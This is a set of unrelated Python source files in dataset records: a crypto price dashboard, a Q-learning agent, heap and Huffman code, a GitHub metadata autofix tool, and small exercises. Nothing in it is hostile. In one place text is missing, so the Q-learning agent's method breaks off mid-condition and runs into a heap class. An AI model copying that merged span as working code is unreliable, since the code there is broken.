status['project']['image']['small']\n thumb = f'![{image_txt}]({image_url})'\n\n df_status_updates = df_status_updates.append(pd.Series([\n status['category'],\n thumb, #status['project']['image']['thumb'],\n status['project']['symbol'],\n status['description'],\n status['created_at'],\n user\n ], index=df_status_updates.columns), ignore_index=True)\n\n return df_status_updates\n\n\ndef get_exchanges_data():\n \n df_exchanges_data = pd.DataFrame(columns=['Rank', 'Logo', 'ID', 'Name', 'URL', 'trade_volume_24h_btc'], index=None)\n df_exchanges_data.columns\n\n # The Python library pycoingecko deesnt have the method to get the exchanges data, so calling the GET request to the API instead\n \n enpoint_url = f\"https://api.coingecko.com/api/v3/exchanges\"\n exc_data_json = api.get(enpoint_url).json()\n exc_data_json[0]\n\n\n for a in exc_data_json:\n\n name = a['name']\n year = a['year_established']\n country = a['country']\n \n\n exc_name = f'{name} - (est. {year}), {country}'\n # print(exc_name)\n\n # Markdown for Logo\n image_txt = a['name']\n image_url = a['image']\n logo = f'![{image_txt}]({image_url})'\n\n # Markdown for link to website\n link = a['url']\n link_txt = 'Link'\n exc_link = f'[{ link_txt }]({ link })'\n\n trade_vol = round(a['trade_volume_24h_btc_normalized'], 2)\n\n df_exchanges_data = df_exchanges_data.append(pd.Series([\n a['trust_score_rank'],\n logo,\n a['id'],\n exc_name,\n exc_link,\n trade_vol\n ], index= df_exchanges_data.columns), ignore_index= True)\n\n\n\n return df_exchanges_data\n\ndef get_crypto_fiat_conv(crypto_coins, fiat):\n\n # Commenting this. Will be passed through the interface\n # crypto_coins = ['bitcoin','ethereum','litecoin','ripple','eos','monero','stellar']\n # fiat = ['usd','aud','eur','gbp','cad','sgd']\n\n crypto_str = ''\n for i in crypto_coins:\n crypto_str = crypto_str + i + ','\n\n fiat_str = ''\n for i in fiat:\n fiat_str = fiat_str + i + ','\n\n crypto_str = crypto_str[:-1]\n fiat_str = fiat_str[:-1]\n\n # The Python library pycoingecko deesnt have the method to get the exchanges data, so calling the GET request to the API instead\n \n enpoint_url = f\"https://api.coingecko.com/api/v3/simple/price?ids={crypto_str}&vs_currencies={fiat_str}\"\n exc_data_json = api.get(enpoint_url).json()\n\n df_prices_curr = pd.DataFrame(columns=['crypto', 'fiat', 'value'], index=None) \n\n for cryp in crypto_coins:\n\n for f in fiat:\n # print(f)\n # print(exc_data_json[cryp][f])\n\n df_prices_curr = df_prices_curr.append(pd.Series([\n cryp ,\n f, \n exc_data_json[cryp][f]\n ], index= df_prices_curr.columns), ignore_index=True)\n\n return df_prices_curr\n\ndef get_hist_chart(coin, curr, days='60'):\n\n # Initialise the CoingGeckoAPI object \n gecko = CoinGeckoAPI()\n\n # Calling the API \n data = gecko.get_coin_market_chart_by_id( coin, vs_currency= curr, days= days )\n\n # Creating a dataframe from the data received\n df_data = pd.DataFrame(columns=['date', 'close'], index=None)\n\n for i in data['prices']:\n\n df_data = df_data.append(pd.Series([\n i[0],\n i[1]\n ], index=df_data.columns), ignore_index= True)\n\n # Converting from the unix timestamp \n df_data['date'] = pd.to_datetime( df_data['date'], unit='ms', origin='unix' ) \n\n # Creating the plot \n title = f'{days} days chart of {coin} - {curr} prices' \n fig = px.line(df_data, x='date', y=\"close\", title= title )\n\n return fig\n\ndef plot_5_year_plot():\n\n df_ticker_low = yf.download(['BTC-USD' , 'ETH-USD', 'DOGE-USD', 'ADA-USD', 'MATIC-USD'], period='5y', group_by= 'ticker', dtype= object)\n\n df_closing_prices = pd.DataFrame()\n df_closing_prices[\"BTC\"] = df_ticker_low[\"BTC-USD\"][\"Close\"]\n df_closing_prices[\"ETH\"] = df_ticker_low[\"ETH-USD\"][\"Close\"]\n df_closing_prices[\"DOGE\"] = df_ticker_low[\"DOGE-USD\"][\"Close\"]\n df_closing_prices[\"ADA\"] = df_ticker_low[\"ADA-USD\"][\"Close\"]\n df_closing_prices[\"MATIC\"] = df_ticker_low[\"MATIC-USD\"][\"Close\"]\n df_closing_prices.index = df_ticker_low.index.date\n\n fig = px.line(df_closing_prices, y=[\"BTC\", \"ETH\", \"DOGE\", \"ADA\", \"MATIC\"], title= \"Major Crypto's Five Years History & Trend\" )\n\n return fig","repo_name":"iggyiccy/currency-dashboard-converter","sub_path":"static/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":10515,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"96"} +{"seq_id":"28784586953","text":"import numpy as np\nfrom QFunctionTable import qFunctionTable\n \nclass learningAgent:\n def __init__(self,stateDim, actions, gamma=0.8, vareps = 0.01, tau=1, alpha=0.5):\n self._actionRange = actions\n self._gamma = gamma\n self.vareps = vareps\n self.QFunction = qFunctionTable(stateDim, actions)\n self.totalReward = 0 \n self._nextState = None\n self._state = None\n self._action = None\n self._reward = None\n\n def setSensor(self, state): \n self._state = self._nextState\n self._nextState = state\n \n def setReward(self,reward): \n self.totalReward += reward\n self._reward = reward\n \n def learn(self):\n maxQvalue = np.zeros(len(self._actionRange))\n for i, a in enumerate(self._actionRange):\n maxQvalue[i] = self.QFunction.predict(self._nextState, a) #*\\label{code:lagent1:0}\n maxQ = np.max(maxQvalue).squeeze()\n Y = self._reward + self._gamma*maxQ #*\\label{code:lagent1:1}\n self.QFunction.fit(self._state, self._action, Y) #*\\label{code:lagent1:2}\n\n def getAction(self,observation=np.NaN):\n a = self._chooseAction(observation)\n action = self._actionRange[a] \n self._action = action\n return(action)\n\n def _chooseAction(self,observation=np.NaN):\n if np.any(np.isnan(observation)): observation = self._nextState\n if np.random.rand() 0:\n parent = (i - 1) // 2\n if self.ar[i] < self.ar[parent]:\n self.ar[i], self.ar[parent] = self.ar[parent], self.ar[i]\n i = parent\n else:\n break\n\n def heapify(self, i):\n \"\"\"Heapify sub-array [i, end).\"\"\"\n left = 2 * i + 1\n right = 2 * i + 2\n\n # Find smallest element of A[i], A[left], and A[right]\n if left < self.n and self.ar[left] < self.ar[i]:\n smallest = left\n else:\n smallest = i\n\n if right < self.n and self.ar[right] < self.ar[smallest]:\n smallest = right\n\n # If smallest is not already the parent then swap and propagate\n if smallest != i:\n self.ar[i], self.ar[smallest] = self.ar[smallest], self.ar[i]\n self.heapify(smallest)\n\n def __repr__(self):\n \"\"\"Return representation of heap as array.\"\"\"\n return 'heap:[' + ','.join(map(str, self.ar[:self.n])) + ']'\n\n\n# Huffman Encoding\n\nimport heapq\n\nclass Node:\n def __init__(self, prob, symbol = None):\n \"\"\" Create node for given symbol and probability. \"\"\"\n self.left = None\n self.right = None\n self.symbol = symbol\n self.prob = prob\n\n\n # Need comparator method at a minimum to work with heapq\n def __lt__(self, other):\n return self.prob < other.prob\n\n def encode(self, encoding):\n \"\"\" Return bit encoding in traveral\"\"\"\n if self.left is None and self.right is None:\n yield (self.symbol, encoding)\n else:\n for v in self.left.encode(encoding + '0'):\n yield v\n for v in self.right.encode(encoding + '1'):\n yield v\n\nclass Huffman:\n def __init__(self, initial):\n self.initial = initial\n\n # Count frequencies\n freq = {}\n for _ in initial:\n if _ in freq:\n freq[_] += 1\n else:\n freq[_] = 1\n\n # Construct priority queue\n pq = []\n for symbol in freq:\n pq.append(Node(freq[symbol], symbol))\n heapq.heapify(pq)\n\n\n #Huffman encoding algorithm\n while len(pq) > 1:\n n1 = heapq.heappop(pq)\n n2 = heapq.heappop(pq)\n n3 = Node(n1.prob + n2.prob)\n n3.left = n1\n n3.right = n2\n heapq.heappush(pq, n3)\n\n # Record\n self.root = pq[0]\n self.encoding = {}\n for sym,code in pq[0].encode(''):\n self.encoding[sym]=code\n\n def __repr__(self):\n \"\"\" Show Encoding\"\"\"\n return 'Huffman:' + str(self.encoding)\n\n\n def encode(self, s):\n \"\"\"Return bit string for encoding.\"\"\"\n bits = ''\n for _ in s:\n if not _ in self.encoding:\n raise ValueError(\"'\" + _ + \"' is not encoded character\")\n bits += self.encoding[_]\n return bits\n\n def decode(self, bits):\n \"\"\"Decode ASCII bit string for simplicity.\"\"\"\n node = self.root\n s = ''\n for _ in bits:\n if _ == '0':\n node = node.left\n else:\n node = node.right\n\n if node.symbol:\n s += node.symbol\n node = self.root\n\n return s\n\n\n\nh = Huffman('aaabc')\nprint (h)\nh.encode(\"bababababab\")\ncode = h.encode(\"bababababab\")\nprint (code)\nprint (h.decode(code))","repo_name":"Btlyons1/Algorithms","sub_path":"heaps.py","file_name":"heaps.py","file_ext":"py","file_size_in_byte":4753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"15744935745","text":"import threading\n\ndef Straight(iNo):\n\n\tfor i in range(1,iNo+1):\n\t\tprint(i)\n\ndef Reverse(iNo):\n\n\tfor i in range(iNo,iNo >= 1,-1):\n\t\tprint(i)\n\n\ndef main():\n\n\tno = int(input(\"Enter the Number : \"))\n\n\tthread1 = threading.Thread(target = Straight, args = (no,)) \n\tthread1.start()\n\tthread1.join()\n\n\tthread2 = threading.Thread(target = Reverse, args = (no,)) \n\tthread2.start()\n\tthread2.join()\n\n\tprint(\"End of Application.....\")\n\n\nif __name__ == '__main__':\n\t\tmain()\t","repo_name":"Omkar050799/Python_Applications","sub_path":"ProblemsUsing_Threads_5.py","file_name":"ProblemsUsing_Threads_5.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"20255178092","text":"import os\nimport re\nfrom contextlib import suppress\nfrom pathlib import Path\nfrom textwrap import indent\n\nimport yaml\nfrom git import GitCommandError\nfrom git.repo import Repo\nfrom github3 import login\nfrom rich.console import Console\nfrom rich.markdown import Markdown\nfrom xdg import xdg_config_home\n\nfrom .checklist import AnalysisStatus, analyse_local_plugin, analyse_remote_plugin_url\nfrom .checklist.projectmetadata import CITATION, CITATION_VALID, project_metadata_suite\nfrom .citation import create_cff_citation\nfrom .utils import NonExistingNapariPluginError, delete_file_tree, get_repository_url\n\nPR_TITLE = \"[Napari HUB cli] Metadata enhancement suggestions\"\nISSUE_TITLE = \"[Napari HUB cli] Metadata enhancement\"\n\nMOTIVATION = \"\"\"In [CZI user experience studies](https://github.com/chanzuckerberg/napari-hub/discussions/463), we found that napari hub users place higher value on plugins with complete metadata and are more likely to use them.\nThe suggested modifications may help provide a better user experience with your plugin on the napari hub (e.g. make your plugin easier to find) and increase its popularity and adoption.\nFurthermore, metadata in deprecated sources may no longer be displayed correctly on the napari hub in the future and are not guaranteed to be supported beyond 2023.\n\"\"\"\n\nGENERAL_INTRO = \"\"\"I'm {user} from MetaCell, I would like to thank you for participating in the napari ecosystem with your work!\n\nI am here to help you maintain and improve the metadata of your [napari hub](https://napari-hub.org) listing, so today I scanned your repository and I might have found some fields that are missing, follow an unexpected format, or could be improved.\n\"\"\"\n\nPR_BODY = f\"\"\"Hi there,\n\n{GENERAL_INTRO}\n\n{MOTIVATION}\n\nTo make your work easier, I created this pull request that contains some suggestions to improve the metadata of your repository. Since there might be some minor inaccuracies, could you please review and accept the PR when everything looks good to you?\n\nIf any information is inaccurate, please feel free to edit it as you already have editing rights. Then proceed to commit/push this pull request.\n\nThis is an automatic procedure that we are developing and constantly improving, so if you have any questions or comments, please feel free to reach out me or [neuromusic](https://github.com/neuromusic) and let us know what you think, we appreciate your feedback!\n\nWe all hope this pull request will be helpful to you,\nThank you for your help and feedback,\n\nThe napari hub and MetaCell teams.\n\"\"\"\n\nREDUNDANT_INTRO = \"\"\"I'm {user}, and I created this issue to complement #{pr_id}.\n\nWhile scanning your repository, I identified some metadata that are either missing, follow an unexpected format, or are located in secondary/deprecated sources.\n\"\"\"\n\nISSUE_INTRO_NO_PR = \"\"\"I'm {user} from MetaCell, I would like to thank you for participating in the napari ecosystem with your work!\n\n{MOTIVATION}\n\nI am here to help you maintain and improve the metadata of your [napari hub](https://napari-hub.org) listing, so today I scanned your repository and I may have identified some metadata that are either missing, or that follows an unexpected format, and/or misplaced in files that are considered as secondary or deprecated sources.\"\"\"\n\nMETADATA_DIFFICULTIES = \"\"\"Since metadata sometimes is hard to fix automatically I created a list of what improvements you might want to look into to improve the overall quality of your [napari hub](https://napari-hub.org) listing:\n\"\"\"\n\nCONCLUSION_NO_PR = \"\"\"\nIf some metadata is already present and I overlooked it, please feel free to contact me or [neuromusic](https://github.com/neuromusic) to tell us what could be improved!\n\nWe all hope this issue will be helpful to you,\nThank you for your help and feedback,\n\nThe napari hub and MetaCell teams.\n\"\"\"\n\nCONCLUSION_PR = \"\"\"\nAs I mentioned in my PR, if some metadata is already present and I overlooked it, please feel free to contact me or [neuromusic](https://github.com/neuromusic) to tell us what could be improved!\n\n\nThank you for your help and feedback,\n\nThe napari hub and MetaCell teams.\n\"\"\"\n\nISSUE_BODY = \"\"\"{greetings}\n\n{introduction}\n{difficulties}\n{issues}\n{docs}\n\n{conclusion}\n\"\"\"\n\n\ndef build_PR_message(user):\n return PR_BODY.format(user=user)\n\n\ndef build_issue_message(first_name, pr_id, results):\n pr_opened = pr_id is not None\n greetings = \"Hi again,\" if pr_opened else \"Hi there,\"\n introduction = (\n REDUNDANT_INTRO.format(user=first_name, pr_id=pr_id)\n if pr_opened\n else ISSUE_INTRO_NO_PR.format(user=first_name, MOTIVATION=MOTIVATION)\n )\n difficulties = METADATA_DIFFICULTIES\n conclusion = CONCLUSION_PR if pr_opened else CONCLUSION_NO_PR\n\n assert results.repository\n repo_path = results.repository.path\n\n issues = []\n docs = {}\n citation_result = results[CITATION]\n for feature in results.missing_features():\n if feature.meta is CITATION_VALID and citation_result.found:\n msg = f\"* Your citation file `{feature.scanned_files[0].file.relative_to(repo_path)}` has not a valid format (it cannot be properly parsed)\"\n issues.append(msg)\n continue\n if feature.meta in (CITATION_VALID, CITATION):\n continue\n scanned_files = (\n f\"`{x.file.relative_to(repo_path)}`\"\n for x in feature.scanned_files\n if x.exists\n )\n msg = f\"* {feature.meta.name!r} entry was not found or follows an unexpected format (scanned files: {', '.join(scanned_files)})\"\n issues.append(msg)\n docs.setdefault(feature.meta.doc_url, []).append(feature.meta)\n\n issues.append(\"\")\n for feature in results.only_in_fallbacks():\n if feature.meta.automatically_fixable:\n continue\n\n preferred_sources = [\n x for x in feature.scanned_files if x not in feature.fallbacks\n ]\n if not preferred_sources:\n preferred_sources = feature.main_files\n preferred_sources = [\n f\"`{f.file.relative_to(repo_path)}`\" for f in preferred_sources\n ]\n assert feature.found_in\n if not feature.meta.force_main_file_usage:\n if feature.main_files[0].exists:\n msg = f\"* {feature.meta.name} was found in `{feature.found_in.file.relative_to(repo_path)}`. You can also place this information in your {' or '.join(preferred_sources)} if you want.\"\n issues.append(msg)\n continue\n msg = f\"* {feature.meta.name} was found in `{feature.found_in.file.relative_to(repo_path)}`, but it is preferred to place this information in {' or '.join(preferred_sources)}\"\n issues.append(msg)\n docs.setdefault(feature.meta.doc_url, []).append(feature.meta)\n\n if len(issues) <= 1:\n return \"\"\n\n # Build the message for documentation\n doc_msgs = []\n for url, meta in docs.items():\n tested_features = \", \".join(f\"'{m.name}'\" for m in meta)\n doc_msgs.append(\n f\"If you need more details about: {tested_features}, you can refer to [this documentation page]({url}).\"\n )\n\n return ISSUE_BODY.format(\n greetings=greetings,\n introduction=introduction,\n difficulties=difficulties,\n issues=\"\\n\".join(issues),\n docs=\"\\n\".join(doc_msgs),\n conclusion=conclusion,\n )\n\n\ndef create_commits(results, display_info=False):\n assert results.repository, \"There is no results for this repository\"\n plugin_repo = results.repository\n git_repo = Repo(plugin_repo.path)\n\n commited = False\n for feature in results.only_in_fallbacks():\n if not feature.meta.automatically_fixable:\n continue # pragma: no cover\n target = feature.main_files[0]\n source = feature.found_in\n assert target\n assert source\n feature_name = feature.meta.attribute[\n 4:\n ] # we skip the \"has_\", refactor in the future\n setattr(target, feature_name, getattr(source, feature_name))\n target.save()\n # if the target have not been created, we do not commit\n # this can happen if a modification is attempted\n # on a gen 1 plugin\n if not target.exists:\n continue\n git_repo.git.add(target.file)\n msg = f\"\"\"\nCopy \"{feature.meta.name}\" from secondary to primary file\n\n{feature.meta.name} was found in a secondary file and copied in the primary one:\n* (found here) \"{source.file.relative_to(plugin_repo.path)}\"\n* (copied here) \"{target.file.relative_to(plugin_repo.path)}\"\n\"\"\"\n if display_info:\n print(msg)\n git_repo.git.add(update=True)\n git_repo.git.commit(m=msg)\n commited = True\n return commited\n\n\ndef create_commit_citation(results, display_info=False):\n if results[CITATION].found:\n return False\n\n assert results.repository, \"There is no results for this repository\"\n plugin_repo = results.repository\n git_repo = Repo(plugin_repo.path)\n create_cff_citation(plugin_repo, display_info=display_info)\n git_repo.git.add(plugin_repo.citation_file.file)\n git_repo.git.commit(m=\"Add 'CITATION.cff' file\")\n return True\n\n\ndef validate_plugin_selection(names):\n closest = {}\n urls = {}\n for name in names:\n try:\n urls[name] = get_repository_url(name)\n except NonExistingNapariPluginError as e:\n closest[name] = e.closest\n if closest:\n return False, closest\n return True, urls\n\n\ndef analyse_plugins_then_create_PR(plugin_names, directory=None, dry_run=False):\n valid, result = validate_plugin_selection(plugin_names)\n if not valid:\n print(\"Some of the input plugins are not existing on the platform:\")\n for pname, closest in result.items():\n if closest is not None:\n print(f\" * {pname!r} do you mean {closest!r}?\")\n else:\n print(f\" * {pname!r} (no close matches found)\")\n return False\n for plugin_name, plugin_url in result.items():\n analyse_then_create_PR(\n plugin_name, plugin_url, directory=directory, dry_run=dry_run\n )\n return True\n\n\ndef analyse_then_create_PR(\n plugin_name, plugin_url, directory=None, gh_login=None, dry_run=False\n):\n # analysis\n result = analyse_remote_plugin_url(\n plugin_name, plugin_url, directory=directory, cleanup=False, display_info=True\n )\n if result.status is not AnalysisStatus.SUCCESS:\n print(f\"There is an issue with {plugin_name}: {result.status.value}\")\n return\n if not (result.missing_features() or result.only_in_fallbacks()):\n print(f\"All is good for {plugin_name}!\")\n return\n\n create_PR_from_analysis(\n result, plugin_url, directory=directory, gh_login=gh_login, dry_run=dry_run\n )\n\n\ndef autofix_repository(path):\n # creates the checklist\n _, suite = project_metadata_suite\n result = analyse_local_plugin(path, suite)\n\n # perform modifications on the files\n # modify + add + commit\n # citation is created first otherwise, the other commits made by the bot will be scrapped and it will appear as author\n assert result.repository is not None\n create_commit_citation(result, display_info=True)\n create_commits(result, display_info=True)\n\n\ndef create_PR_from_analysis(\n result, plugin_url, directory=None, gh_login=None, dry_run=False\n):\n # we can only automatically fix repositories and open issues in github\n match = re.match(\n r\"https://github\\.com/(?P[^/]+)/(?P[^/]+)\", plugin_url\n )\n if not match:\n print(\n f\"{plugin_url!r} is not hosted on github, automatic modification and issue/PR creation cannot be performed\"\n )\n return\n remote_user, remote_name = match.groupdict().values()\n\n # perform modifications on the files\n assert result.repository is not None\n local_repository = Repo(result.repository.path)\n\n # modify + add + commit\n # citation is created first otherwise, the other commits made by the bot will be scrapped and it will appear as author\n need_pr = create_commit_citation(result)\n need_pr = create_commits(result) or need_pr\n\n if dry_run:\n console = Console()\n\n console.print(\n Markdown(\n f\"# Here is a preview of what PR/issue will be created for {plugin_url}\"\n )\n )\n if need_pr:\n console.print(Markdown(\"## PULL REQUEST\"))\n pr = build_PR_message(\"USERNAME\")\n console.print(Markdown(indent(pr, \"> \", predicate=lambda _: True)))\n issue_msg = build_issue_message(\n \"USERNAME\", \"PR_ID\" if need_pr else None, result\n )\n if issue_msg:\n console.print(Markdown(\"## ISSUE\"))\n console.print(Markdown(indent(issue_msg, \"> \", predicate=lambda _: True)))\n console.print(Markdown(\"## Additional information\"))\n console.print(\n Markdown(\n f\"You can review the performed commits (if any) here: {result.repository.path}\"\n )\n )\n console.print(\n Markdown(\n \"After you review them, pressing 'enter' will delete the cloned repository from your file system\"\n )\n )\n input(\"Press enter to continue...\")\n console.print(f\"Deleting {result.repository.path}\")\n delete_file_tree(result.repository.path)\n return\n\n # fork/prepare the remote/push/pr\n # login in GH\n if gh_login:\n os.environ[\"GITHUB_USER\"] = gh_login\n gh_login, token = read_user_token()\n gh = login(gh_login, password=token)\n assert gh is not None\n\n # create the fork\n orig = gh.repository(remote_user, remote_name)\n assert orig is not None\n fork = orig.create_fork()\n assert fork is not None\n\n # init the new remote\n fork_name = \"napari_cli\"\n with suppress(GitCommandError):\n local_repository.create_remote(\n fork_name,\n f\"https://{gh_login}:{token}@github.com/{gh_login}/{remote_name}\",\n )\n\n # fetch/pull the new remote\n branch = local_repository.active_branch.name\n local_repository.remotes.napari_cli.pull(branch)\n\n # create local branch\n fork_branch = \"metadata_enhancement\"\n local_repository.git.checkout(\"-b\", fork_branch)\n with suppress(GitCommandError):\n local_repository.remotes.napari_cli.pull(fork_branch)\n\n # push branch in the new remote\n local_repository.git.push(\"--set-upstream\", fork_name, fork_branch)\n\n # prepare the PR\n me = gh.me()\n assert me\n first_name = me.name.split()[0]\n pr_id = None\n if need_pr:\n title = PR_TITLE\n body = build_PR_message(first_name)\n pull_request = orig.create_pull(\n title,\n body=body,\n head=f\"{gh_login}:{fork_branch}\",\n base=branch,\n maintainer_can_modify=True,\n )\n assert pull_request\n pr_id = pull_request.number\n\n # prepare the issue\n issue_msg = build_issue_message(first_name, pr_id, result)\n if issue_msg:\n title = ISSUE_TITLE\n body = issue_msg\n orig.create_issue(title, body)\n\n delete_file_tree(result.repository.path)\n\n\ndef read_user_token(home_config=None):\n # token access use var env\n token = os.environ.get(\"GITHUB_TOKEN\", None)\n if not token:\n print(\"Please provide your token as 'GITHUB_TOKEN' environement variable\")\n exit(-1)\n\n username = os.environ.get(\"GITHUB_USER\", None)\n if username:\n return username, token\n\n config_dir = (\n Path(home_config) if home_config else (xdg_config_home() / \"napari-hub-cli\")\n )\n config_dir.mkdir(parents=True, exist_ok=True)\n config_file = config_dir / \"config.yml\"\n if config_file.exists():\n with config_file.open(mode=\"r\") as f:\n data = yaml.safe_load(f)\n data = data or {}\n with suppress(KeyError):\n username = data[\"gh_user\"]\n return username, token\n username = input(\"Please enter your github username: \")\n username = username.strip()\n with config_file.open(mode=\"w\") as f:\n yaml.dump({\"gh_user\": username}, stream=f, sort_keys=False)\n return username, token\n","repo_name":"chanzuckerberg/napari-hub-cli","sub_path":"napari_hub_cli/autofix.py","file_name":"autofix.py","file_ext":"py","file_size_in_byte":16623,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"96"} +{"seq_id":"70223433277","text":"from collections import defaultdict\n\n\nclass Solution:\n def characterReplacement(self, s: str, k: int) -> int:\n\n # String s = ABBA, and integer k = 1\n # index = 0, char = \"A\" dict = {A:1}\n # index = 1, char = \"B\" dict = {A:1,B:1} A = 1, B = 1\n # index = 2, char = \"B\" dict = {A:1,B:2} A = 1, B = 2\n # index = 3, char = \"A\" dict = {A:2,B:2} A = 2, B = 2\n\n # left = 0, right = 0\n\n # left = 0, right = 1,\n\n # left = 0, right = 2,\n\n # left = 0, right = 3, {A:3,B:1} k = 0\n\n # left = 1, right = 3, {A:2,B:1}\n\n # left = 2, right = 3, {A:2, B:0}\n\n counter = defaultdict(int)\n size = len(s)\n left = 0\n maxiFrequency = 0\n result = 0\n for right in range(size):\n counter[s[right]] += 1\n maxiFrequency = max(maxiFrequency, counter[s[right]])\n letterToReplaceInCurrentWindow = (right - left + 1) - maxiFrequency\n if letterToReplaceInCurrentWindow > k:\n counter[s[left]] -= 1\n left += 1\n result = max(result, right-left+1)\n return result\n\n\nsol = Solution()\ns = \"AABABBA\"\nk = 1\nprint(sol.characterReplacement(s, k))\n","repo_name":"code123-tech/75_Days_Challenge","sub_path":"day13/Longest_repeating_character_replacement.py","file_name":"Longest_repeating_character_replacement.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"42788046381","text":"import random\nfrom prob_builder import *\nfrom typing import List\nfrom distance import distance_diction\n\ndef random_rule_solver(instance: Prob_Instance) -> dict:\n solution = {}\n solution['Problem'] = instance.deepcopy()\n req_list = instance.req_list\n req: Request\n for req in req_list:\n req.initialize()\n\n stn_list = instance.stn_list\n stn: Station\n for stn in stn_list:\n stn.initialize()\n\n distance_dic = distance_diction(req_list, stn_list)\n\n def random_priority(target, station_list: List[Station]):\n for stn in station_list:\n stn.priority = random.randint(1,1000000)\n return target, min(station_list, key = lambda x: x.priority)\n\n for req in req_list:\n for stn in stn_list:\n if isinstance(stn, MovableStation):\n req.dist_list.append(distance_dic[dic_key(stn.loc, req.loc)])\n else:\n req.dist_list.append(distance_dic[dic_key(req.loc, stn.loc)])\n spare_time = (sum(req.dist_list)/len(req.dist_list)) / req.speed\n req.time_wdw[1] += spare_time\n\n while any(req.done is False for req in req_list):\n not_completed_reqs = list(filter(lambda x: (x.done is False), req_list))\n pri_req = min(not_completed_reqs,key = lambda x: (x.start_time))\n servable_stn = list(filter(lambda x: x.can_recharge is True, stn_list))\n pri_req, pri_stn = random_priority(pri_req,servable_stn) # 랜덤\n try:\n pri_stn.recharge(pri_req)\n except Exception:\n raise Exception('Invalid Logic')\n break\n\n solution['Snapshop_Requests'] = req_list\n solution['Snapshop_Stations'] = stn_list\n\n total_wait = 0\n total_distance = 0\n total_tardiness = 0\n\n for stn in stn_list:\n total_distance += stn.measures['total_distance']\n total_wait += stn.measures['total_wait']\n\n for req in req_list:\n total_tardiness += req.tardiness\n\n solution['Objective'] = []\n solution['Objective'].append(total_tardiness)\n solution['Objective'].append(total_wait)\n solution['Objective'].append((total_distance))\n return solution\n","repo_name":"jaehyukjung/Re-charge_FLAG","sub_path":"src/random_solver.py","file_name":"random_solver.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"25147424561","text":"from SALib.sample import saltelli\nfrom Model.Model.model import WalkerModel\nfrom Model.Model.efficient_agents import RedWalker, CyanWalker\nfrom mesa.batchrunner import BatchRunner\nfrom SALib.analyze import sobol\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom itertools import combinations\n\nproblem = {\n 'num_vars': 2,\n 'names': ['cyan_noise', 'red_noise'],\n 'bounds': [[1, 100], [1, 100]]\n}\n\n# Set the repetitions, the amount of steps, and the amount of distinct values per variable\nreplicates = 10\nmax_steps = 3000\ndistinct_samples = 5\n\nmodel_reporters = {\n \"Finished Cyan Walkers\": lambda m: m.schedule.get_finished_count(CyanWalker),\n \"Finished Red Walkers\": lambda m: m.schedule.get_finished_count(RedWalker),\n }\n\n# We get all our samples here\nparam_values = saltelli.sample(problem, distinct_samples)\n\n# READ NOTE BELOW CODE\nbatch = BatchRunner(WalkerModel,\n max_steps=max_steps,\n variable_parameters={name: [] for name in problem['names']},\n model_reporters=model_reporters)\n\ncount = 0\nfor i in range(replicates):\n for vals in param_values:\n # Change parameters that should be integers\n vals = list(vals)\n vals[1] = int(vals[1])\n vals[0] = int(vals[0])\n\n # Transform to dict with parameter names and their values\n variable_parameters = {}\n for name, val in zip(problem['names'], vals):\n variable_parameters[name] = val\n\n batch.run_iteration(variable_parameters, tuple(vals), count)\n count += 1\n\n print(f'{count / (len(param_values) * (replicates)) * 100:.2f}% done')\n\ndata = batch.get_model_vars_dataframe()\n\nprint(data)\n\nSi_sheep = sobol.analyze(problem, data['Finished Cyan Walkers'].as_matrix(), print_to_console=True)\nSi_wolves = sobol.analyze(problem, data['Finished Red Walkers'].as_matrix(), print_to_console=True)\n\n\ndef plot_index(s, params, inner_i, title=''):\n\n if inner_i == '2':\n p = len(params)\n params = list(combinations(params, 2))\n indices = s['S' + inner_i].reshape((p ** 2))\n indices = indices[~np.isnan(indices)]\n errors = s['S' + inner_i + '_conf'].reshape((p ** 2))\n errors = errors[~np.isnan(errors)]\n else:\n indices = s['S' + inner_i]\n errors = s['S' + inner_i + '_conf']\n plt.figure()\n\n l = len(indices)\n\n plt.title(title)\n plt.ylim([-0.2, len(indices) - 1 + 0.2])\n plt.yticks(range(l), params)\n plt.errorbar(indices, range(l), xerr=errors, linestyle='None', marker='o')\n plt.axvline(0, c='k')\n\n\nfor Si in (Si_sheep, Si_wolves):\n # First order\n plot_index(Si, problem['names'], '1', 'First order sensitivity')\n plt.show()\n\n # Second order\n plot_index(Si, problem['names'], '2', 'Second order sensitivity')\n plt.show()\n\n # Total order\n plot_index(Si, problem['names'], 'T', 'Total order sensitivity')\n plt.show()","repo_name":"viremaster/MAS_Mesa_maze","sub_path":"Model/Model/analysis2.py","file_name":"analysis2.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"9702157354","text":"from pandas.io.excel._openpyxl import OpenpyxlReader\nfrom pandas._typing import (\n FilePathOrBuffer,\n StorageOptions,\n Scalar\n)\n\nclass OpenpyxlLimitedReader(OpenpyxlReader):\n\n def __init__(self, filepath_or_buffer: FilePathOrBuffer, storage_options: StorageOptions = None, max_rows=None) -> None:\n self.max_rows = max_rows\n super().__init__(filepath_or_buffer, storage_options=storage_options)\n\n def get_sheet_data(self, sheet, convert_float: bool):\n if self.book.read_only:\n sheet.reset_dimensions()\n\n data: list[list[Scalar]] = []\n last_row_with_data = -1\n\n rows_enumerate = enumerate(sheet.rows)\n rows_list = []\n if self.max_rows is None:\n rows_list = list(enumerate(sheet.rows))\n else:\n for i in range(self.max_rows + 1):\n try:\n rows_list.append(next(rows_enumerate))\n except:\n break\n for row in rows_list:\n converted_row = [self._convert_cell(cell, convert_float) for cell in row[1]]\n while converted_row and converted_row[-1] == \"\":\n # trim trailing empty elements\n converted_row.pop()\n if converted_row:\n last_row_with_data = row[0]\n data.append(converted_row)\n \n # Trim trailing empty rows\n data = data[: last_row_with_data + 1]\n if len(data) > 0:\n # extend rows to max width\n max_width = max(len(data_row) for data_row in data)\n if 